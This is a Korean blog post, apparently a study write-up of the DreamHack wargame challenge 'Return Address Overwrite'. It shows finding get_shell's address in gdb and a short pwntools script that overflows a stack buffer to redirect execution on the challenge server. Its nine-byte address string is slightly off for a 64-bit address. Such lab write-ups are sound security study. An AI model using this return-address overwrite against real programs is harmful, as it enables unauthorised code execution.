문제 링크
https://dreamhack.io/wargame/challenges/351/
Return Address Overwrite
Description Exploit Tech: Return Address Overwrite에서 실습하는 문제입니다.
dreamhack.io
문제 파일에 있는걸 다운받아야 하는데
강의에 있는 코드를 복붙해 버려서 안 되던 거였음....ㅎ
드림핵 댓글 보고 알았다 . . ..
gdb에서 print를 이용해서 get_shell의 주소를 확인해 보면 0x4006aa임을 알 수 있다.
리틀 엔디언 방식으로 주소를 다시 작성해보면 \xaa\x06\x40\x00\x00\x00\x00\x00\x00가 된다.
pwntools를 이용해서 익스플로잇 코드를 작성하였다
from pwn import *
p = remote('host3.dreamhack.games',20656)
payload = 'A' * 0x30
payload += 'B' * 0x08
payload += '\xaa\x06\x40\x00\x00\x00\x00\x00\x00'
p.recv()
p.sendline(payload)
p.interactive()
성공적으로 플래그를 획득하였다.
'INTERLUDE ✦ > 2022 SYSTEM STUDY' 카테고리의 다른 글
[ DreamHack ] Stack Canary (0) | 2022.11.22 |
---|---|
[ DreamHack ] basic_exploitation_001 (0) | 2022.11.17 |
[ DreamHack ] Return Address Overwrite (0) | 2022.11.08 |
[ DreamHack ] Stack Buffer Overflow (0) | 2022.11.08 |
[ DreamHack ] ShellCode (0) | 2022.11.03 |